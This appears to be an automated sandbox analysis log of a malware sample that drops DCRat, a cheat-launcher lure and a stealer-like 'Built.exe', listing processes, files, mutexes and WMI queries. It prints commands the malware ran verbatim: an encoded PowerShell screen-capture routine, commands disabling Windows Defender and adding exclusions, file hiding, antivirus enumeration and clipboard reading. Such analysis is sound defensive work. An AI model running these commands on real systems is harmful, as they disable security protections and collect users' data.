Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FC718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

10_2_00FC718C

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FC857B	10_2_00FC857B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FD70BF	10_2_00FD70BF
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FC407E	10_2_00FC407E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FED00E	10_2_00FED00E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FF1194	10_2_00FF1194
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FE02F6	10_2_00FE02F6
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCE2A0	10_2_00FCE2A0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FC3281	10_2_00FC3281
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FD6646	10_2_00FD6646
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FC27E8	10_2_00FC27E8
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FD37C1	10_2_00FD37C1
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FE473A	10_2_00FE473A
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FE070E	10_2_00FE070E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCE8A0	10_2_00FCE8A0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCF968	10_2_00FCF968
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FE4969	10_2_00FE4969
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FD6A7B	10_2_00FD6A7B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FD3A3C	10_2_00FD3A3C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FECB60	10_2_00FECB60
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FE0B43	10_2_00FE0B43
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FD5C77	10_2_00FD5C77
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDFDFA	10_2_00FDFDFA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FD3D6D	10_2_00FD3D6D
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCED14	10_2_00FCED14
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCDE6C	10_2_00FCDE6C
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCBE13	10_2_00FCBE13
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FE0F78	10_2_00FE0F78
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FC5F3C	10_2_00FC5F3C

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 00FDED00 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 00FDE360 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 00FDE28C appears 35 times

Source: fontsessionruntime.exe.10.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: rar.exe.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 6tGWMkdYv4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

Source: libcrypto-3.dll.12.dr	Static PE information: Section: UPX1 ZLIB complexity 0.999059198943662
Source: libssl-3.dll.12.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9916915494109948
Source: python312.dll.12.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9992940650795991
Source: sqlite3.dll.12.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9977444556451613
Source: unicodedata.pyd.12.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9945046482974911

Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PwiJFNqlrXJuYCITBoy.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, PwiJFNqlrXJuYCITBoy.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, sofIhl6r43UpwOqHnRc.cs	Cryptographic APIs: 'TransformBlock'
Source: 9.3.CheatLauncherV2.exe.3618729.0.raw.unpack, sofIhl6r43UpwOqHnRc.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: ws2_32.dll.13.dr	Binary string: WS2_32.DLLgetsockoptselectWSACancelBlockingCallWSACleanupWSAGetLastErrorWSASetBlockingHookWSARecvWSASendWSASendToWSAStartupWSARecvFromWSAIoctl\Device\WS2IFSL\NifsPvdNifsPvd\Device\WS2IFSL\NifsSctNifsSctServicesActivePNP_TDI\SystemRoot\System32\drivers\ws2ifsl.sysWS2IFSL\Registry\Machine\System\CurrentControlSet\Services\WS2IFSL
Source: ws2_32.dll.13.dr	Binary string: \Device\NamedPipe\Winsock2\CatalogChangeListener-%x-%x\Device\NamedPipe\WINSOCK2\CATALOGCHANGELISTENER--\Device\NamedPipe\%lsHKEY_CURRENT_USERHKEY_CLASSES_ROOTHKEY_USERSAppArgsmswsock.dllc2
Source: ws2_32.dll.13.dr	Binary string: \Device\Afd\SQMHelperapi-ms-win-core-version-l1-1-0.dllGetFileVersionInfoSizeExWGetFileVersionInfoExWVerQueryValueWp

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@172/811@17/6

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FC6EC9 GetLastError,FormatMessageW,

10_2_00FC6EC9

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FD9E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

10_2_00FD9E1C

Source: C:\agentInto\fontsessionruntime.exe

File created: C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe

Source: C:\agentInto\fontsessionruntime.exe

File created: C:\Users\Default User\SearchApp.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7664:120:WilError_03
Source: C:\agentInto\fontsessionruntime.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\cd0864094e44ee75a88071e914a1d2f7650557da
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8044:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Mutant created: \Sessions\1\BaseNamedObjects\a
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\agentInto\fontsessionruntime.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5232:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe

File created: C:\Users\user\AppData\Local\Temp\x10.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxname	10_2_00FDD5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxstime	10_2_00FDD5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: STARTDLG	10_2_00FDD5D4

Source: 6tGWMkdYv4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\6tGWMkdYv4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: 6tGWMkdYv4.exe

ReversingLabs: Detection: 89%

Source: unknown	Process created: C:\Users\user\Desktop\6tGWMkdYv4.exe "C:\Users\user\Desktop\6tGWMkdYv4.exe"
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Process created: C:\Users\user\AppData\Local\Temp\x10.exe "C:\Users\user\AppData\Local\Temp\x10.exe"
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Process created: C:\Users\user\AppData\Local\Temp\x9.exe "C:\Users\user\AppData\Local\Temp\x9.exe"
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Process created: C:\Users\user\AppData\Local\Temp\x8.exe "C:\Users\user\AppData\Local\Temp\x8.exe"
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Process created: C:\Users\user\AppData\Local\Temp\x7.exe "C:\Users\user\AppData\Local\Temp\x7.exe"
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Process created: C:\Users\user\AppData\Local\Temp\x6.exe "C:\Users\user\AppData\Local\Temp\x6.exe"
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Process created: C:\Users\user\AppData\Local\Temp\x5.exe "C:\Users\user\AppData\Local\Temp\x5.exe"
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Process created: C:\Users\user\AppData\Local\Temp\x4.exe "C:\Users\user\AppData\Local\Temp\x4.exe"
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Process created: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe "C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
